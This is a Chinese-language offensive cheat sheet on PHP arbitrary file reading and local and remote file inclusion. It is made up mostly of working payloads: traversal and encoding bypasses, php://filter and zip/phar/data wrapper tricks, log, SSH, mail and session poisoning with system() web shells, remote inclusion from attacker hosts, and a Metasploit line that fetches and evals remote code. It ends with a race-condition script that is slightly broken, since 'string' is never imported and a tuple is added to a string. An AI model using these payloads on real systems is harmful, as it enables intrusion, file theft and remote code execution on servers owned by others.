PHP包含下载读取

php任意文件读取/下载

readfile()、file_get_contents()、fopen()等读文件的函数不严谨，读取文件路径可控，输出内容。
下载配置文件
Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
下载log文件
下载web文件
/1.php?f=../../etc/passwd
/1.php?f=file:///etc/passwd(file://绕过../的防护)
/1.php?f=file:///etc/passwd

php文件包含

函数:

include
require
include_once
require_once

常用协议

file:// — 访问本地文件系统
file协议的工作目录是当前目录，使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
php:// — 访问各个输入/输出流（I/O streams）

LFI

正常包含

index.php?page=../../../etc/passwd

空字节

index.php?page=../../../etc/passwd%00

双重编码

index.php?page=%252e%252e%252fetc%252fpasswd
index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8 编码

index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

路径和点截断

index.php?page=../../../etc/passwd............[ADD MORE]
index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
index.php?page=../../../[ADD MORE]../../../../etc/passwd

过滤绕过技巧

index.php?page=....//....//etc/passwd
index.php?page=..///////..////..//////etc/passwd
index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

读文件

1.php?file=php://filter/read=convert.base64-encode/resource=./1.php
1.php?file=pHp://FilTer/convert.base64-encode/resource=index.php
1.php?file=php://filter/read=string.rot13/resource=index.php
1.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

写文件

/1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64

Getshell

https://github.com/D35m0nd142/LFISuite

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

expect

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

allow_url_include 开启时Getshell

远程文件包含
1.php?file=http://remote.com/shell.txt
1.php?file=php://input  POST:<?php phpinfo();?>
1.php?file=http://remote.com/shell.txt%00
1.php?file=http:%252f%252fremote.com%252fshell.txt
或使用curl
>curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
或使用data://协议解析base64的代码
/1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

allow_url_include 关闭时Getshell

攻击机开启共享
/1.php?file=//attacker/1.php
创建webdav服务，shell文件放入目录包含即可
>docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
Shell文件放入/root/webdav/data
/1.php?file=//attacker/1.php

包含日志文件getshell

Fuzz文件
https://github.com/fuzzdb-project/fuzzdb
https://github.com/danielmiessler/SecLists
https://blog.csdn.net/qq_33020901/article/details/78810035
/1.php?file=<?php phpinfo();?>
/1.php?file=../../../../../../../var/log/apache2/access.log
Win下使用phpstudy
请求/<?php phpinfo();?>
包含错误日志
/1.php?file=C:\phpStudy\Apache\logs\error.log

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

上传个图片格式的木马直接包含

/1.php?file=/uploadfile/1.jpg

限制后缀时

<?php
$file = $_GET['file'].".php";
include($file);
?><br>
利用伪协议zip，构造一个zip压缩包，打包一个shell.php，将压缩包更名为png

请求/1.php?file=zip://shell.png%23shell

也可使用phar协议访问
/1.php?file=phar://shell.png/shell
老版本可以使用%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off，PHP小于5.3.4有效)
/var/www/%00
/etc/passwd/././././././.[…]/./././././.
(需要 magic_quotes_gpc=off
(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)
点号截断：
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

phpinfo-LFI 本地文件包含临时文件getshell

利用临时文件删除时间差获取shell
需要一个lfi漏洞+phpinfo页面
在/tmp/目录下生成个密码为f的一句话木马g

修改脚本的phpinfo文件名称

LFI文件

执行
>python getshell.py 192.168.0.108 80 100
80是端口、100是线程

http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27

session + lfi getshell

session.upload_progress.enabled启用时，文件上传会产生进度文件
/var/lib/php5/sess_
/var/lib/php/sess_

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
将cookie设置为<?php system('cat /etc/passwd');?>
包含文件/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

LFI SSH Log

>ssh '<?php system($_GET['c']); ?>'@192.168.0.107
>ssh <?php system($_GET["cmd"]);?>@10.10.10.10
>http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls

邮件包含

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
包含文件
http://example.com/index.php?page=/var/log/mail

RFI&命令注入上线MSF

MSF生成
#use exploit/multi/script/web_delivery
#set target PHP
注入点注入：
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));"
RFI：
http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH

通过 /proc/*/fd LFI 到 RCE

上传大量的shell（例如：100）
http://example.com/index.php?page=/proc/$PID/fd/$FD，其中 $PID = 进程的 PID（可以被暴力破解）和 $FD 文件描述符（也可以被暴力破解）

通过 /proc/self/environ LFI 到 RCE

像日志文件一样，在User-Agent中发送payload，会体现在/proc/self/environ文件里面

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传完成LFI到RCE

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

工具

https://github.com/P0cL4bs/Kadimus
https://github.com/kurobeats/fimap
https://github.com/lightos/Panoptic

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最后更新于3年前

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